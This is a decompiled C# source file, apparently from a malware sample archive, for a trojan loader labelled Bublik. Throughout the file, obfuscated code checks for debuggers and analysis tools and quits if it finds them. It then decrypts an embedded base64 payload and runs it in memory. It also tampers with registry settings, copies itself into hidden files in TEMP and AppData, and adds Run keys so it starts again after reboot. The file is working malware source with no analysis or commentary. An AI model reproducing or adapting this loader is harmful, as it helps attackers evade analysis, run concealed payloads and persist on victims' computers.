MalwareSourceCode/MSIL/Trojan/Win32/B/Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3/_0002.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: server2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A78406EB-6936-436A-BB47-86E06CAA33E0
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3.exe

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Windows.Forms;

internal sealed class \u0002
{
  private static \u0003 \u0002 = new \u0003();
  private static string \u0003 = \u0008.\u0002(-626735724);
  private static string \u0005 = \u0008.\u0002(-626735724);
  private static byte[] \u0008 = new byte[7]
  {
    (byte) 98,
    (byte) 87,
    (byte) 76,
    (byte) 65,
    (byte) 54,
    (byte) 43,
    (byte) 32
  };
  private static byte[] \u0006;
  private static bool \u000E = true;
  private static bool \u000F = true;
  private static bool \u0002\u2000 = true;
  private static bool \u0003\u2000 = true;
  private static bool \u0005\u2000 = true;
  private static bool \u0008\u2000 = true;
  private static bool \u0006\u2000 = true;
  private static bool \u000E\u2000 = true;
  private static bool \u000F\u2000 = true;
  private static bool \u0002\u2001 = true;
  private static bool \u0003\u2001 = true;
  private static bool \u0005\u2001 = true;
  private static bool \u0008\u2001 = true;
  private static bool \u0006\u2001 = true;
  private static bool \u000E\u2001 = true;
  private static bool \u000F\u2001 = false;
  private static string \u0002\u2002 = \u0008.\u0002(-626735683);
  private static string \u0003\u2002 = \u0008.\u0002(-626735663);
  private static bool \u0005\u2002 = false;
  private static bool \u0008\u2002 = false;
  private static bool \u0006\u2002 = false;
  private static bool \u000E\u2002 = false;
  private static bool \u000F\u2002 = false;
  private static bool \u0002\u2003 = true;
  private static string \u0003\u2003 = \u0008.\u0002(-626735669);
  private static bool \u0005\u2003 = true;
  private static bool \u0008\u2003 = false;
  private static int \u0006\u2003 = 0;
  private static ThreadStart \u000E\u2003;

  private static bool \u0002(string _param0) => Process.GetProcessesByName(_param0).Length > 0;

  private static void \u0002(string _param0, string _param1)
  {
    int num = (int) MessageBox.Show(_param0, _param1, MessageBoxButtons.OK, MessageBoxIcon.Hand);
  }

  private static void \u0002() => Console.Write(\u0008.\u0002(-626735471));

  private static void \u0002(string[] _param0)
  {
    if (!(\u0002.\u0003 == \u0002.\u0005))
      return;
    \u0002.\u0002();
    if (\u0002.\u000F\u2001)
    {
      try
      {
        if (\u0002.\u000E\u2003 == null)
          \u0002.\u000E\u2003 = new ThreadStart(\u0002.\u0005);
        new Thread(\u0002.\u000E\u2003).Start();
      }
      catch
      {
      }
    }
    \u0002.\u0002();
    if (\u0002.\u000E)
    {
      try
      {
        if (Debugger.IsAttached)
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u000F)
    {
      try
      {
        long ticks = DateTime.Now.Ticks;
        Thread.Sleep(10);
        if (DateTime.Now.Ticks - ticks < 10L)
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0002\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735482)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0003\u2000)
    {
      try
      {
        Form form = new Form();
        form.Text = \u0008.\u0002(-626735436);
        form.Opacity = 0.0;
        form.ShowInTaskbar = false;
        form.Show();
        if (form.Text == \u0008.\u0002(-626735431))
          return;
        form.Close();
      }
      catch
      {
      }
    }
    if (\u0002.\u0005\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735446)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0008\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735400)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0006\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735410)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u000E\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735363)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u000F\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735386)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0002\u2001)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(-626735595)))
          return;
      }
      catch
      {
      }
    }
    \u0002.\u0002();
    if (\u0002.\u0008\u2003)
    {
      try
      {
        Thread.Sleep(\u0002.\u0006\u2003 * 1000);
      }
      catch
      {
      }
    }
    \u0002.\u0002();
    try
    {
      Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\u0008.\u0002(-626735589));
      \u0002.\u0002();
      StreamReader streamReader = new StreamReader(manifestResourceStream);
      string end = streamReader.ReadToEnd();
      \u0002.\u0002();
      streamReader.Close();
      \u0002.\u0006 = Convert.FromBase64String(end);
      try
      {
        \u0002.\u0002();
        Thread thread = new Thread(new ThreadStart(\u0002.\u0003));
        \u0002.\u0002();
        thread.Start();
        \u0002.\u0002();
      }
      catch
      {
      }
    }
    catch
    {
    }
    \u0002.\u0002();
    if (\u0002.\u0005\u2002)
    {
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735604), true).SetValue(\u0008.\u0002(-626735538), (object) \u0008.\u0002(-626735514), RegistryValueKind.DWord);
      }
      catch
      {
      }
      try
      {
        if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506)) == null)
        {
          Registry.CurrentUser.CreateSubKey(\u0008.\u0002(-626735506));
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735186), (object) \u0008.\u0002(-626735514), RegistryValueKind.DWord);
        }
        else
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735186), (object) \u0008.\u0002(-626735514), RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735186), (object) \u0008.\u0002(-626735514), RegistryValueKind.DWord);
      }
      catch
      {
      }
      if (\u0002.\u0008\u2002)
      {
        if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735138)) == null)
        {
          Registry.CurrentUser.CreateSubKey(\u0008.\u0002(-626735138));
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735138), true).SetValue(\u0008.\u0002(-626735127), (object) \u0008.\u0002(-626735336), RegistryValueKind.DWord);
        }
        else
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735138), true).SetValue(\u0008.\u0002(-626735127), (object) \u0008.\u0002(-626735336), RegistryValueKind.DWord);
      }
      if (\u0002.\u0006\u2002)
      {
        try
        {
          new Process()
          {
            StartInfo = {
              FileName = \u0008.\u0002(-626735360),
              Arguments = \u0008.\u0002(-626735308),
              UseShellExecute = false,
              CreateNoWindow = true
            }
          }.Start();
        }
        catch
        {
        }
      }
      if (\u0002.\u000E\u2002)
      {
        try
        {
          if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506)) == null)
          {
            Registry.CurrentUser.CreateSubKey(\u0008.\u0002(-626735506));
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735291), (object) \u0008.\u0002(-626735234), RegistryValueKind.DWord);
          }
          else
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735291), (object) \u0008.\u0002(-626735234), RegistryValueKind.DWord);
        }
        catch
        {
        }
      }
      if (\u0002.\u000F\u2002)
      {
        try
        {
          if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506)) == null)
          {
            Registry.CurrentUser.CreateSubKey(\u0008.\u0002(-626735506));
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735258), (object) \u0008.\u0002(-626735234), RegistryValueKind.DWord);
          }
          else
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735506), true).SetValue(\u0008.\u0002(-626735258), (object) \u0008.\u0002(-626735234), RegistryValueKind.DWord);
        }
        catch
        {
        }
      }
    }
    \u0002.\u0002();
    if (\u0002.\u0002\u2003)
    {
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735604), true).SetValue(\u0008.\u0002(-626735971), (object) \u0008.\u0002(-626735336), RegistryValueKind.DWord);
      }
      catch
      {
      }
      try
      {
        FileStream fileStream1 = new FileStream(Process.GetCurrentProcess().MainModule.FileName, FileMode.Open, FileAccess.Read);
        byte[] buffer = new byte[fileStream1.Length];
        fileStream1.Read(buffer, 0, buffer.Length);
        fileStream1.Close();
        FileStream fileStream2 = new FileStream(Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000)) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003, FileMode.Create);
        fileStream2.Write(buffer, 0, buffer.Length);
        fileStream2.Close();
        fileStream2.Dispose();
        FileStream fileStream3 = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003, FileMode.Create);
        fileStream3.Write(buffer, 0, buffer.Length);
        fileStream3.Close();
        fileStream3.Dispose();
        File.SetAttributes(Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000)) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003, FileAttributes.Hidden);
        File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003, FileAttributes.Hidden);
      }
      catch
      {
      }
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735939), true).SetValue(\u0008.\u0002(-626735927), (object) (Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000)) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003));
        Registry.LocalMachine.OpenSubKey(\u0008.\u0002(-626735939), true).SetValue(\u0008.\u0002(-626735927), (object) (Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000)) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003));
      }
      catch
      {
      }
      if (\u0002.\u0005\u2002)
      {
        try
        {
          if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735897)) == null)
          {
            Registry.CurrentUser.CreateSubKey(\u0008.\u0002(-626735897));
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735897), true).SetValue(\u0008.\u0002(-626735927), (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003));
          }
          else
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(-626735897), true).SetValue(\u0008.\u0002(-626735927), (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(-626735947) + \u0002.\u0003\u2003));
        }
        catch
        {
        }
      }
    }
    \u0002.\u0002();
    if (!\u0002.\u0005\u2003)
      return;
    try
    {
      if (Application.ExecutablePath.Contains(Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000))))
        return;
      string str = \u0008.\u0002(-626736083) + (object) '"' + Environment.GetCommandLineArgs()[0] + (object) '"' + \u0008.\u0002(-626736034) + (object) '"' + Path.GetFileName(Application.ExecutablePath) + (object) '"' + \u0008.\u0002(-626736055);
      TextWriter textWriter = (TextWriter) new StreamWriter(Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000)) + \u0008.\u0002(-626736006));
      textWriter.WriteLine(str);
      textWriter.Close();
      new Process()
      {
        StartInfo = {
          FileName = (Environment.GetEnvironmentVariable(\u0008.\u0002(-626736000)) + \u0008.\u0002(-626736006)),
          UseShellExecute = false,
          CreateNoWindow = true
        }
      }.Start();
    }
    catch
    {
    }
  }

  public static void \u0003()
  {
    try
    {
      \u0002.\u0002();
      Assembly assembly = Assembly.Load(\u0002.\u0006);
      MethodInfo entryPoint = assembly.EntryPoint;
      \u0002.\u0002();
      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name)), new object[1]
      {
        (object) new string[0]
      });
    }
    catch
    {
      try
      {
        \u0002.\u0002();
        Assembly assembly = Assembly.Load(\u0002.\u0006);
        MethodInfo entryPoint = assembly.EntryPoint;
        \u0002.\u0002();
        entryPoint.Invoke(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name)), new object[0]);
      }
      catch
      {
        try
        {
          \u0002.\u0002();
          MethodInfo entryPoint = Assembly.Load(\u0002.\u0006).EntryPoint;
          \u0002.\u0002();
          entryPoint.Invoke((object) null, (object[]) null);
        }
        catch
        {
          try
          {
            \u0002.\u0002();
            \u0002.\u0002.\u0002(\u0002.\u0006, string.Empty, Application.ExecutablePath);
            \u0002.\u0002();
          }
          catch
          {
          }
        }
      }
    }
  }

  private static void \u0005() => \u0002.\u0002(\u0002.\u0002\u2002, \u0002.\u0003\u2002);
}